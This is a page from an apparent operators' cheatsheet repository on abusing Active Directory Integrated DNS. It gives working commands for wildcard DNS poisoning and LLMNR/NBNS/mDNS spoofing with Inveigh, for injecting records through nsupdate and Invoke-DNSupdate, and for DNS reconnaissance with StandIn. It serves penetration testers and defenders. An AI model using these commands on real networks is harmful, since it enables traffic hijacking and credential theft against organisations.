repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
ad-integrated-dns.mdMarkdown90 lines3.3 KiBsource raw download

title: "Active Directory - Integrated DNS - ADIDNS" section: "Active Directory" sectionSlug: "active-directory" sourcePath: "docs/active-directory/ad-integrated-dns.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-integrated-dns.md" sha: "203bb0c0b290" isIndex: false#

Active Directory - Integrated DNS - ADIDNS#

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.

LDAP-Based (Require authentication)#

The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.

Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y

Dynamic Updates (Doesn't require authentication)#

Dynamic DNS (RFC 2136) allows using the DNS protocol to update DNS records:

  1. If the zone is set to Secure Only, you need a valid Kerberos ticket.

  2. If the zone is set to Nonsecure and Secure, anyone on the network can send updates.

Update a record:

# Linux
cat << EOF > dnsupdate.txt
server dc.domain.corp
zone domain.corp
update delete test.domain.corp A
update add test.domain.corp 3600 A 10.10.10.123
send
EOF

nsupdate dnsupdate.txt

# Windows
Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.125.100 -Verbose

DNS Reconnaissance#

Perform ADIDNS searches

StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain <domain> --user <username> --pass <password>
StandIn.exe --dns --legacy --domain <domain> --user <username> --pass <password>

References#